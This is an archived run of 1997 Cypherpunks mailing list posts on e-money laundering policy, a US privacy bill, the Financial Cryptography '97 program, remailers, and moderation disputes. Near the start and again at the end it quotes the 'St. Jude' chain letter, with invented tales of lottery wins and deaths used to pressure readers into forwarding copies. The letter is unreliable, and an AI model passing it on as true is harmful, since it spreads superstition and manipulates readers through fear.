> will receive good luck in four days. This is no joke. You will receive it i > the mail. send copies to people that you think need good luck. Don't send > money as fate has no price. Do not keep this letter. It must leave your > hands in 96 hours. An Air Force officer received $70,000 in four days. Joe > Elliot received $40,000 and lost it because he broke the chain. While in the > Philippines, Gene Wolf lost his wife six days after receiving this letter. H > failed to circulate the letter. However, before he death, she won $50,000 in > a lottery. The money was transferred to him four days after he decided to > mail this letter. Please make twenty copies of this letter and see what > happens in four days. The chain comes from South Venezuela and was written b > Saint Anthony Decroc, a missionary from South America. Since the copy must > make a tour of the world, you must make twenty copies and send them to your > friends and associates. After a few days you will get a surprise. This is > true even though you are not superstitious. So note the following: > Constantine Dens received the chain in 1958. He asked his secretary to make > twenty copies and send them out. A few days later he won the lottery of 2 > million dollars. Andy Doddit, and office employee, received a letter and > forgot it had to leave his hands within 96 hours, he lost his job. Later, > after finding the letter again, he mailed out twenty copies. A few days late > he got a better job. > Please send no money. Please don't ignore this. IT DOES WORK. > > > > St. Jude > > Kiss someone you love when you get this letter and make magic. This > paper was sent to you for good luck. The original copy is in New England. I > has been around the world nine times. The Luck has been sent to you. You > will receive good luck in four days. This is no joke. You will receive it i > the mail. send copies to people that you think need good luck. Don't send > money as fate has no price. Do not keep this letter. It must leave your > hands in 96 hours. An Air Force officer received $70,000 in four days. Joe > Elliot received $40,000 and lost it because he broke the chain. While in the > Philippines, Gene Wolf lost his wife six days after receiving this letter. H > failed to circulate the letter. However, before he death, she won $50,000 in > a lottery. The money was transferred to him four days after he decided to > mail this letter. Please make twenty copies of this letter and see what > happens in four days. The chain comes from South Venezuela and was written b > Saint Anthony Decroc, a missionary from South America. Since the copy must > make a tour of the world, you must make twenty copies and send them to your > friends and associates. After a few days you will get a surprise. This is > true even though you are not superstitious. So note the following: > Constantine Dens received the chain in 1958. He asked his secretary to make > twenty copies and send them out. A few days later he won the lottery of 2 > million dollars. Andy Doddit, and office employee, received a letter and > forgot it had to leave his hands within 96 hours, he lost his job. Later, > after finding the letter again, he mailed out twenty copies. A few days late > he got a better job. > Please send no money. Please don't ignore this. IT DOES WORK. > > > > --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ray at earthweb.com Thu Feb 6 08:45:58 1997 From: ray at earthweb.com (Ray Arachelian) Date: Thu, 6 Feb 1997 08:45:58 -0800 (PST) Subject: True story, Fly the Obsfucted Skies (fwd) Message-ID: ---------- Forwarded message ---------- Date: Thu, 6 Feb 1997 00:18:18 -0500 From: Salvatore Denaro To: 'Ray Arachelian' Subject: True story, Fly the Obsfucted Skies I was at the airport, checking in at the gate. An airport employee asked me (and I quote) "Has anyone put anything in your baggage without your knowledge?" I thought about it. I scratched my goatee. I said: "If it was without *my* knowledge... how would *I* know about it?" He smiled. He nodded his head, knowingly. He then gave me this cryptic reply, "That's why we ask." -- Salvatore Denaro "The only difference between me and a madman sal at panix.com is that I am not mad." -- Salvador Dali From dekkard at sprynet.com Thu Feb 6 09:28:17 1997 From: dekkard at sprynet.com (Derrick Storren) Date: Thu, 6 Feb 1997 09:28:17 -0800 (PST) Subject: FinCEN hates cybercash, who 'da thunk it... Message-ID: <32FA14C8.5619@sprynet.com> Big brother, Morris, at FinCEN sees a criminal behind every cyber dollar. The sky is falling, the sky is falling, it's raining cyber cash! Artilce follows :) ****************** _G7 groups frets over electronic money laundering_ Copyright � 1997 Nando.net Copyright � 1997 Agence France-Presse PARIS (Feb 6, 1997 11:30 a.m. EST) - Money-laundering fighters from key industrial countries and leading Asian financial centers are looking into ways of countering use of the Internet and "smart cards" to clear proceeds from criminal activities, officials said Thursday. The Financial Action Task Force (FATF), set up following a Group of Seven initiative at their l989 summit, called in a lengthy report for closer cooperation and coordinated efforts to fight money laundering, especially in regard to new electronic payments technologies. The report noted that these technologies were still "in their infancy" and said it was "premature to consider prescriptive solutions to theoretical problems." But Stanley Morris of the United States Treasury, who chaired a FAFT working group which drafted the report, told a news conference that law enforcement agencies would face 'very major new challenges' if new technology moves the world "to a cashless society, beyond banks, cash and borders." He said the group's meeting, held in Paris last November, was the first time an international organization has examined "the implications of e-money - electronic money - or cyber payments." The group had for the first time examined "not only criminal activity as we see it" at present, but "what kind of crominal activites might occur as we approach the new payments technologies relying on the revolution in microchips and .. changes in payments services generally." Morris, who heads the U.S. Treasury's Financial Crimes Enforcement Network (FinCEN), said cash had become "a significant problem" for criminal groups, which find it increasingly difficult to channel their criminal proceeds into the banking system, at least in FATF countries. "We find a clear move away from direct dealing with banks to non-bank institutions, including bureaux de change money order sellers, and even professional services like lawyers and accountants," he said. The group had also seen "the realities of economic globalization," he said, adding that financial activities are "poorly controlled by the nation states." Morris said the working group had therefore invited representatives of the high technology industry now working on the new payments technology which was still "in the prototype stage" without any clear indication as to the direction they might take. "We wanted to sit down with the industry as experts on money laundering enforcement.... to let them know now what kinds of systems would cause us problems and give the bad guys new opportunities," he said. The purpose was to seek to encourage development of these technologies "in ways that do not provide a new forum for money laundering," he said. The FATF was essentially a preventive business, Morris added. "We do not measure our success simply on arrests and (money) seizures." FATF chairman Fernando Carpentieri, the Director General of the Italian Treasury, said drug trafficking remained a key source of criminal proceeds which crime groups were seeking to "legalize." He said the Task Force, consisting mainly of OECD member countries, as well as Hongkong, Singapore, the Gulf Cooperation Council and the European Commission, was not at present considering admitting further members to preserve its efficiency. But it was working with the authorities of countries throughout the world to secure the broadest possible implementation of the anti-money laundering measures it has recommended.> G7 groups frets over electronic money laundering From rah at shipwright.com Thu Feb 6 09:28:39 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 6 Feb 1997 09:28:39 -0800 (PST) Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet PrivacyProtection Act of 1997") Message-ID: This attempted legislation (see forward, below) is a blessing in disguise. It's just more proof that book-entry commerce isn't going to work on the net in the long run. SET looks like it's having problems with Japanese commerce rules, which is another example of this problem. Cash settlement between blinded pseudonyms fixes all of these problems. I like to joke that if digital commerce is flight, then book entry settlement is Boyle's Law, and cryptography is Bernoulli's law, viz, + Sending a credit card in the clear is jumping off a cliff. The height of the cliff you jump off is related to the number of times you send an unencrypted credit card number and the amount you charge. Credit card companies aren't going to be guaranteeing all those trades much longer if they lose too much money. + First Virtual is a tethered balloon. You're up in the air, but you don't know what for, because all the action is happening on the ground. ;-). + SET, Cybercash/coin, SSL, and other encrypted-channel book entry methods, is a derigeble. You're flying, but you're using minimally strong crypto like little aerodynamic fins to push the giant gas bag of book-entry settlement around. + Digital bearer certificate technology, like ecash, or MicroMint, or Millicent, is an airplane. It "flys" with "wings" of strong cryptography, which gives us reputation capital and enforcement, and instantly settled microintermediated transactions. Thus, like aerodynamic flight, it will be faster, cheaper, and easier to use than book-entry "derigible" transaction methods. Cheers, Bob Hettinga --- begin forwarded text Date: Thu, 6 Feb 1997 11:24:09 EST Reply-To: Law & Policy of Computer Communications Sender: Law & Policy of Computer Communications From: "Jonathan I. Ezor" Subject: Congressional Bill worse for 'Net than CDA? (crosspost) Comments: To: wwwac at echonyc.com, noend at laguna.taos.com, isales at mmgco.com, imarcom at internet.com To: CYBERIA-L at LISTSERV.AOL.COM Sorry for the crossposting, but I felt this one might be important enough to do it. The following is a shortened version of an article I've written for my firm's client newsletter about H.R. 98, the "Consumer Internet Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on January 7, 1997. As the article describes, if the bill were enacted as drafted, Internet commerce could conceivably be stopped dead in its tracks, along with most of the reduced-fee-for-demographics online services. Privacy is quite important, and many of us have worked and are working extremely hard to protect privacy appropriately while still providing convenient services to users, but this bill is way beyond a reasonable approach. I haven't seen much discussion about this bill, but it's now in committee, and the time to act may be upon us. Feel free to e-mail/call/fax/talk to me with any further questions. I look forward to your feedback. {Jonathan} Jonathan I. Ezor New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019 Tel: 212-468-4989 Fax: 212-468-4888 E-mail: jezor at newmedialaw.com -----------------------------Cut here------------------------------- Congress Tackles Internet Privacy Recently, there has been significant press coverage over real and rumored revelations of personal information such as Social Security numbers by online services, including the alleged availability (later shown to be untrue) of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database, and various governmental bodies have held hearings on issues of online privacy. On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the "Consumer Internet Privacy Protection Act of 1997," (H.R. 98) This bill provides that "an interactive computer service shall not disclose to a third party any personally identifiable information provided by a subscriber to such service without the subscriber's prior informed written consent." It requires online services to provide an express opt-out for subscribers at any time, prohibits services from knowingly distributing false information about users, and also mandates giving subscribers access to the information maintained about them for review, updates and corrections, as well as the identity of the party receiving the information, at no charge. The bill authorizes the Federal Trade Commission to "to examine and investigate an interactive computer service to determine whether such service has been or is engaged in any act or practice prohibited by this Act," and to issue a cease and desist order. Notably, it also provides that an individual may sue the violator directly without having to go through the FTC. As a general matter, this bill enacts the practice of many online services and sites, and the position of most self-regulatory industry groups, by asking consent before revealing personally-identifiable information. But the bill goes well beyond the ordinary industry practice by requiring "prior informed written consent," which is defined in this bill as "a statement-- (A) in writing and freely signed by a subscriber; (B) consenting to the disclosures such service will make of the information provided; and (C) describing the rights of the subscriber under this Act." What this could conceivably mean is that services which have all of their registration online may be unable to fulfill this requirement. Additionally, the bill is unclear about which online services will be subject to its provisions. It defines "interactive computer service" as "any information service that provides computer access to multiple users via modem to the Internet." This certainly covers dedicated Internet service providers (ISP's) and combination proprietary/Internet services like America Online and MSN. The bill may also cover services which depend on their ability to reveal certain information to advertisers in exchange for offering free Internet e-mail to their users. Beyond that, purely Web-based services may fall into the purview of this bill, depending on whether providing access via modem requires that the modem dial directly into the service in question or not. Theoretically, this bill could even prevent online purchases absent a signed authorization form from each purchaser, because a service would have to reveal the name and address of the purchaser to the seller in order for the goods to be delivered. Even more troubling, the bill does not even provide an exception for information shared between a service owner and the company owning the computer hosting the service, regardless of whether there is a contractual obligation for confidentiality, since the hosting company has access to the information collected by the service about its users. As with other bills of this type, it is important for any company intending to offer Internet-related services to individuals to follow and perhaps attempt to affect the path of the Consumer Internet Privacy Protection Act of 1997, since it could have significant impact on planned services, revenue sources and per-subscriber costs. For those interested in forestalling this type of governmental action, the best response may be to accelerate self-regulatory initiatives to deal with the valid concerns of consumers who may be providing information about themselves and their buying habits, either in the process of registration or while using the service. At the same time, the self-regulatory bodies can create rules based on the actual business practices and realities of their members, rather than drafting with a broad brush as Congress does in so many instances. If companies are going to be able to take the greatest economic advantage of the interactivity of the Internet as opposed to traditional broadcast and print media, there needs to be some way of legally and ethically utilizing information provided by subscribers in order both to enhance the subscribers' experience and to gain revenue through appropriate business relationships with advertisers, retailers, and others who may wish access to consumers. Copyright 1997 Jonathan I. Ezor, Davis & Gilbert. All rights reserved. Jonathan I. Ezor is an attorney with Davis & Gilbert in New York City, practicing new media and computer law, focusing on the advertising industry. Mr. Ezor can be reached at jezor at newmedialaw.com. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From R.Hirschfeld at cwi.nl Thu Feb 6 09:35:26 1997 From: R.Hirschfeld at cwi.nl (R.Hirschfeld at cwi.nl) Date: Thu, 6 Feb 1997 09:35:26 -0800 (PST) Subject: revised FC97 program Message-ID: <9702061733.AA09419=ray@zeus.cwi.nl> Financial Cryptography '97 February 24-28 1997, Anguilla, BWI PRELIMINARY PROGRAM (Revised 6 February 1997) General Information: Financial Cryptography '97 (FC97) is a new conference on the security of digital financial transactions. The first meeting will be held on the island of Anguilla in the British West Indies on February 24-28, 1997. FC97 aims to bring together persons involved in both the financial and data security fields to foster cooperation and exchange of ideas. Original papers were solicited on all aspects of financial data security and digital commerce in general. Program Committee: Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands Arjen Lenstra, Citibank, New York, NY, USA Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA Charles Merrill, McCarter & English, Newark, NJ, USA Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA Sholom Rosen, Citibank, New York, NY, USA Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA Preliminary Conference Program for FC97: Monday 24 February 1997 800 -- 820 Breakfast 820 -- 830 Welcome 830 -- 905 Anonymity Control in E-Cash Systems George Davida (University of Wisconsin, Milwaukee, WI, USA), Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA), Yiannis Tsiounis (Northeastern University, Boston, MA, USA), Moti Yung (CertCo, New York, NY, USA) 905 -- 940 How to Make Personalized Web Browsing Simple, Secure, and Anonymous Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer (Bell Laboratories, Lucent Technologies) 940 -- 1015 Anonymous Networking and Virtual Intranets: Tools for Anonymous Corporations Jim McCoy (Electric Communities, Cupertino, CA, USA) 1015 -- 1045 Coffee Break 1045 -- 1120 Unlinkable Serial Transactions Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA), Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA), David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA) 1120 -- 1155 Efficient Electronic Cash with Restricted Privacy Cristian Radu, Rene Govaerts, Joos Vandewalle (Katholieke Universiteit Leuven, Leuven, Belgium) 1155 -- 1230 The SPEED Cipher Yuliang Zheng (Monash University, Melbourne, Australia) 1230 -- 1330 Lunch 1800 -- 1930 Cocktail Reception (at Mariners Hotel) Tuesday 25 February 1997 800 -- 830 Breakfast 830 -- 930 Invited Speaker Evaluating the security of electronic money; the view of a European central bank Simon L. Lelieveldt (De Nederlandsche Bank, Amsterdam, Netherlands) 930 -- 1005 Smart Cards and Superhighways The technology-driven denationalisation of money David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England) 1005 -- 1045 Coffee Break 1045 -- 1120 Fault Induction Attacks, Tamper Resistance, and Hostile Reverse Engineering in Perspective David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA) 1120 -- 1155 Some Critical Remarks on "Dynamic Data Authentication" as specified in EMV '96 Louis C. Guillou (CCETT, Cesson-Sevigne, France) 1155 -- 1230 Single-chip implementation of a cryptosystem for financial applications Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany) 1230 -- 1330 Lunch Wednesday 26 February 1997 800 -- 830 Breakfast 830 -- 930 Invited Speaker Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA) 930 -- 1005 Auditable Metering with Lightweight Security Matthew K. Franklin, Dahlia Malkhi (AT&T Labs--Research, Murray Hill, NJ, USA) 1005 -- 1045 Coffee Break 1045 -- 1120 SVP: a Flexible Micropayment Scheme Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France) 1120 -- 1155 An efficient micropayment system based on probabilistic polling Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA), Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA) 1155 -- 1230 On the continuum between on-line and off-line e-cash systems - I Yacov Yacobi (Microsoft, Redmond, WA, USA) 1230 -- 1330 Lunch Thursday 27 February 1997 800 -- 830 Breakfast 830 -- 905 Towards Multiple-payment Schemes for Digital Money H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany) 905 -- 940 Applying Anti-Trust Policies to Increase Trust in a Versatile E-Money System Markus Jakobsson (UCSD, La Jolla, CA, USA), Moti Yung (BTEC/CertCo, New York, NY, USA) 940 -- 1015 Cyberbanking and Privacy: The Contracts Model Peter P. Swire (Ohio State University, Columbus, OH, USA) 1015 -- 1045 Coffee Break 1045 -- 1120 Legal Issues in Cryptography Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA) 1120 -- 1230 Panel Discussion Legal Issues of Digital Signatures Michael Froomkin (U. of Miami School of Law, Coral Gables, FL, USA), Charles Merrill (McCarter & English, Newark, NJ, USA), Benjamin Wright (Dallas, TX, USA) 1230 -- 1330 Lunch 1930 -- 2015 Invited Speaker Money Laundering: Yesterday, Today and Tomorrow Peter Wayner (Baltimore, MD, USA) 2015 -- 2200 Rump Session Friday 28 February 1997 800 -- 830 Breakfast 830 -- 905 The Strategic Role of Government in Electronic Commerce Paul Lampru (Verifone, Atlanta, GA, USA) 905 -- 940 Using Markets to Achieve Efficient Task Distribution Ian Grigg, Christopher C. Petro (Systemics, Amsterdam, Netherlands) 940 -- 1015 The Gateway Security Model in the Java Electronic Commerce Framework Theodore Goldstein (Sun Microsystems Laboratories/Javasoft) 1015 -- 1045 Coffee Break 1045 -- 1120 Highly Scalable On-line Payments Via Task Decoupling David William Kravitz (CertCo LLC, Albuquerque, NM, USA) 1120 -- 1155 GUMP; Grand Unified Meta-Protocols Recipes for Simple, Standards-based Financial Cryptography Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA) 1155 -- 1230 Secure Network Communications and Secure Store&Forward Mechanisms with SAP R/3 Bernhard Esslinger (SAP AG, Walldorf, Germany) 1230 -- 1330 Lunch Updates of the conference schedule will be available at the URL http://www.cwi.nl/conferences/FC97/. The conference will run from 8:30 AM to 12:30 PM for five days, February 24-28 1997. Breakfast and lunch are provided at the conference. The conference organizers have left the afternoons and evenings open for corporate sponsored events, for networking, and for recreational activities on the resort island of Anguilla. Participants are encouraged to bring their families. Workshop: A 40-hour workshop, intended for anyone with commercial software development experience who wants hands-on familiarity with the issues and technology of financial cryptography, is planned in conjunction with FC97, to be held during the week preceding the conference. For more information on the workshop, please see the URL http://www.cs.berkeley.edu/~iang/fc97/workshop.html. For workshop registration, see the URL http://www.offshore.com.ai/fc97/. Venue: The InterIsland Hotel is a small 14-room guest house and a large, comfortable 150 seat conference facility with additional space for a small 10-booth exhibition. The Inter-Island is on Road Bay, near Sandy Ground Village, in the South Hill section of Anguilla. The conference, workshop, and exhibition will have TCP/IP internet access. The rooms at the InterIsland itself have sold out, but there are many other hotels and guest houses on Anguilla, and shuttle service to the conference will be available. Air Transportation and Hotels: Air travel to Anguilla is typically done through either San Juan or St. Thomas for US flights, or St. Maarten/Martin for flights from Europe and the US. Anguillan import duties are not imposed on hardware or software which will leave the island again. There are no other taxes--or cryptography import/export restrictions--on Anguilla. Hotels range from spartan to luxurious, and more information about hotels on Anguilla can be obtained from your travel agent, or at the URL http://www.offshore.com.ai/fc97/. General Chairs: Robert Hettinga, Shipwright/e$, Boston, MA, USA; rah at shipwright.com Vincent Cate, Offshore Information Services, Anguilla, BWI; vince at offshore.com.ai Conference, Exhibits, and Sponsorship Manager: Julie Rackliffe, Boston, MA, USA; rackliffe at tcm.org Workshop Leader: Ian Goldberg, Berkeley, CA, USA; iang at cs.berkeley.edu Registration: You can register and pay for conference admission via the World Wide Web at the URL http://www.offshore.com.ai/fc97/. The cost of the FC97 Conference is US$1,000. Booths for the exhibition start at US$5,000 and include two conference tickets. For more information about exhibit space, contact Julie Rackliffe, rackliffe at tcm.org. Sponsorship opportunities for FC97 are still available. The cost of the workshop is US$5000, and includes meals but not lodging. You can register for the workshop, which runs the week prior to the conference, at the URL http://www.offshore.com.ai/fc97. Financial Cryptography '97 is held in cooperation with the International Association for Cryptologic Research. It is sponsored by: The Journal for Internet Banking and Commerce Offshore Information Services e$ C2NET See Your Name Here From svmcguir at syr.edu Thu Feb 6 10:02:54 1997 From: svmcguir at syr.edu (Scott V. McGuire) Date: Thu, 6 Feb 1997 10:02:54 -0800 (PST) Subject: mail-to-news fun In-Reply-To: <199702060140.RAA08923@toad.com> Message-ID: On Wed, 5 Feb 1997 stewarts at ix.netcom.com wrote: ...snip... > If I were going to restart a remailer, and to offer news posting, > I'd probably limit it to posting to moderated newsgroups only, > so a human can trash things that look like SPAM or abuse; > the abuse that caused me to kill my remailer wasn't something > a simple filter would catch. (I'd also prefix each posting with a > header about this message having been received from an anonymous source, > not verified, not guaranteed to be worth the electrons it's printed on, > probably not written by anybody whose name's at the bottom, etc.... > People don't read mail headers or disclaimers at the bottom, > and putting disclaimers like that into message text for > email exposes the message to traffic analysis.) How does putting it in the message expose it to traffic analysis but not putting it in a header? > ...snip... > > # Thanks; Bill > # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com > # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp > # (If this is a mailing list, please Cc: me on replies. Thanks.) > -------------------- Scott V. McGuire PGP key available at http://web.syr.edu/~svmcguir Key fingerprint = 86 B1 10 3F 4E 48 75 0E 96 9B 1E 52 8B B1 26 05 From rah at shipwright.com Thu Feb 6 10:35:50 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 6 Feb 1997 10:35:50 -0800 (PST) Subject: My apologies... Message-ID: I'm very sorry. I just committed a major breach of nettiquette. I just accidentally sent out the last FC97 Revised Program to this monsterous cc list, instead of using the bcc: field. Again, please my most sincere apologies. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From john at cognac.apana.org.au Thu Feb 6 10:45:04 1997 From: john at cognac.apana.org.au (John Pearson) Date: Thu, 6 Feb 1997 10:45:04 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: <199702050029.QAA08873@toad.com> Message-ID: Adam Back: > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > It has some advantages: > > [...] > > And some disadvantages... > > 1. Cross-posting in USENET is a problem, especially in alt newsgroups > > 2. Commercial spam is a problem with newsgroups > You may want to check out alt.sysadmin.recovery; they use the moderation mechanism to produce a group that is unmoderated, but spam-resistant. It would be impolite to describe the technique, but it should be apparent if you browse a few articles. Another way to avoid crossposts is to have a robomoderated group, where a bot automatically rejects articles which are crossposted, and approves all others. > 3. USENET distribution is likely less efficient of overall bandwidth > > 4. News propogation times are often poor (Exeter univ. receives news > about a week late) This is a real killer in my view. I have > another news server I can access at the moment, but not everyone > may have access to a reasonable news server. > > 5. News access is more complex for some people. Some alt newsgroups > are not carried by some servers. Perhaps news-to-mail and > mail-to-news gateway would solve these problems. > > 6. Some have argued in the past on this topic that the mailing list > medium is better because it is more exclusive, as it requires more > technical competence, and an active enough interest to subscribe. > This is an elitist argument. Perhaps it is relevant though, if we > are trying to maintain a mailing list where technical discussions on > how to improve privacy are to take place. I wouldn't call this > attitude censorship though. > 7. Usenet traffic, at least in remote regions (looks around), is often assigned less bandwidth/lower priority than mail, so a reader may not see all of the messages (AFAICT, I normally see about half or less of what actually gets posted to the groups I read), even if the group is "well propagated". >[...] John P. john at huiac.apana.org.au From jya at pipeline.com Thu Feb 6 11:15:10 1997 From: jya at pipeline.com (John Young) Date: Thu, 6 Feb 1997 11:15:10 -0800 (PST) Subject: NOW_ire Message-ID: <199702061915.LAA28279@toad.com> 2-5-97: "FCC Bandwidth Forum Panelist Says Wireless Is Potential 'Wild Card' in Planning for Future Broadband Access" Suggests that wireless is the better than wire, cable, or satellite for future communications by bypassing their technological and environmental limitations. "GTE Wireless Launches Long-Anticipated CS-CDPD Service; Other Cellular Carriers Continue to Reject Hybrid Approach" A variation from CDMA and TDMA. ----- NOW_ire And the FCC Broadband Forum report cited in the first article at: http://jya.com/fcc970123.htm (322K) From ray at earthweb.com Thu Feb 6 11:15:12 1997 From: ray at earthweb.com (Ray Arachelian) Date: Thu, 6 Feb 1997 11:15:12 -0800 (PST) Subject: True story, Fly the Obsfucted Skies (fwd) Message-ID: <199702061915.LAA28280@toad.com> ---------- Forwarded message ---------- Date: Thu, 6 Feb 1997 00:18:18 -0500 From: Salvatore Denaro To: 'Ray Arachelian' Subject: True story, Fly the Obsfucted Skies I was at the airport, checking in at the gate. An airport employee asked me (and I quote) "Has anyone put anything in your baggage without your knowledge?" I thought about it. I scratched my goatee. I said: "If it was without *my* knowledge... how would *I* know about it?" He smiled. He nodded his head, knowingly. He then gave me this cryptic reply, "That's why we ask." -- Salvatore Denaro "The only difference between me and a madman sal at panix.com is that I am not mad." -- Salvador Dali From stend at sten.tivoli.com Thu Feb 6 11:21:17 1997 From: stend at sten.tivoli.com (Firebeard) Date: Thu, 6 Feb 1997 11:21:17 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702061921.LAA28329@toad.com> I'd just appreciate it if someone would explain to me just why I'm being completely censored from the cypherpunks list. I accept that I have no right to be carried by toad.com, but I'd appreciate the courtesy of at least a response to my request for an explanation. Absolutely none of my recent postings are even going to cypherpunks-unedited, I've received no response to my mail to gnu at toad.com asking why, and I've received absolutely no bounces indicating that there are delivery problems. Given that my subscribe requests for cypherpunks-unedited and cypherpunks-flames succeeded, I think I can discount delivery problems, so I have to wonder - how many other people are being completely blocked from any of the cypherpunks lists hosted on toad.com? -- #include /* Sten Drescher */ ObCDABait: For she doted upon their paramours, whose flesh is as the flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] ObFelony: President Clinton, you suck, and those boys died! Unsolicited bulk email will be stored and handled for a US$500/KB fee. From svmcguir at syr.edu Thu Feb 6 11:21:19 1997 From: svmcguir at syr.edu (Scott V. McGuire) Date: Thu, 6 Feb 1997 11:21:19 -0800 (PST) Subject: mail-to-news fun Message-ID: <199702061921.LAA28330@toad.com> On Wed, 5 Feb 1997 stewarts at ix.netcom.com wrote: ...snip... > If I were going to restart a remailer, and to offer news posting, > I'd probably limit it to posting to moderated newsgroups only, > so a human can trash things that look like SPAM or abuse; > the abuse that caused me to kill my remailer wasn't something > a simple filter would catch. (I'd also prefix each posting with a > header about this message having been received from an anonymous source, > not verified, not guaranteed to be worth the electrons it's printed on, > probably not written by anybody whose name's at the bottom, etc.... > People don't read mail headers or disclaimers at the bottom, > and putting disclaimers like that into message text for > email exposes the message to traffic analysis.) How does putting it in the message expose it to traffic analysis but not putting it in a header? > ...snip... > > # Thanks; Bill > # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com > # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp > # (If this is a mailing list, please Cc: me on replies. Thanks.) > -------------------- Scott V. McGuire PGP key available at http://web.syr.edu/~svmcguir Key fingerprint = 86 B1 10 3F 4E 48 75 0E 96 9B 1E 52 8B B1 26 05 From john at cognac.apana.org.au Thu Feb 6 11:21:32 1997 From: john at cognac.apana.org.au (John Pearson) Date: Thu, 6 Feb 1997 11:21:32 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702061921.LAA28338@toad.com> Adam Back: > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > It has some advantages: > > [...] > > And some disadvantages... > > 1. Cross-posting in USENET is a problem, especially in alt newsgroups > > 2. Commercial spam is a problem with newsgroups > You may want to check out alt.sysadmin.recovery; they use the moderation mechanism to produce a group that is unmoderated, but spam-resistant. It would be impolite to describe the technique, but it should be apparent if you browse a few articles. Another way to avoid crossposts is to have a robomoderated group, where a bot automatically rejects articles which are crossposted, and approves all others. > 3. USENET distribution is likely less efficient of overall bandwidth > > 4. News propogation times are often poor (Exeter univ. receives news > about a week late) This is a real killer in my view. I have > another news server I can access at the moment, but not everyone > may have access to a reasonable news server. > > 5. News access is more complex for some people. Some alt newsgroups > are not carried by some servers. Perhaps news-to-mail and > mail-to-news gateway would solve these problems. > > 6. Some have argued in the past on this topic that the mailing list > medium is better because it is more exclusive, as it requires more > technical competence, and an active enough interest to subscribe. > This is an elitist argument. Perhaps it is relevant though, if we > are trying to maintain a mailing list where technical discussions on > how to improve privacy are to take place. I wouldn't call this > attitude censorship though. > 7. Usenet traffic, at least in remote regions (looks around), is often assigned less bandwidth/lower priority than mail, so a reader may not see all of the messages (AFAICT, I normally see about half or less of what actually gets posted to the groups I read), even if the group is "well propagated". >[...] John P. john at huiac.apana.org.au From dlv at bwalk.dm.com Thu Feb 6 11:22:30 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 11:22:30 -0800 (PST) Subject: Cypherpunks spread chain letters Message-ID: <199702061922.LAA28356@toad.com> Now the punks are sending me "good luck" letters... What a bunch of losers. No wonder they bend over for Gilmore. > St. Jude > > Kiss someone you love when you get this letter and make magic. This > paper was sent to you for good luck. The original copy is in New England. I > has been around the world nine times. The Luck has been sent to you. You > will receive good luck in four days. This is no joke. You will receive it i > the mail. send copies to people that you think need good luck. Don't send > money as fate has no price. Do not keep this letter. It must leave your > hands in 96 hours. An Air Force officer received $70,000 in four days. Joe > Elliot received $40,000 and lost it because he broke the chain. While in the > Philippines, Gene Wolf lost his wife six days after receiving this letter. H > failed to circulate the letter. However, before he death, she won $50,000 in > a lottery. The money was transferred to him four days after he decided to > mail this letter. Please make twenty copies of this letter and see what > happens in four days. The chain comes from South Venezuela and was written b > Saint Anthony Decroc, a missionary from South America. Since the copy must > make a tour of the world, you must make twenty copies and send them to your > friends and associates. After a few days you will get a surprise. This is > true even though you are not superstitious. So note the following: > Constantine Dens received the chain in 1958. He asked his secretary to make > twenty copies and send them out. A few days later he won the lottery of 2 > million dollars. Andy Doddit, and office employee, received a letter and > forgot it had to leave his hands within 96 hours, he lost his job. Later, > after finding the letter again, he mailed out twenty copies. A few days late > he got a better job. > Please send no money. Please don't ignore this. IT DOES WORK. > > > > St. Jude > > Kiss someone you love when you get this letter and make magic. This > paper was sent to you for good luck. The original copy is in New England. I > has been around the world nine times. The Luck has been sent to you. You > will receive good luck in four days. This is no joke. You will receive it i > the mail. send copies to people that you think need good 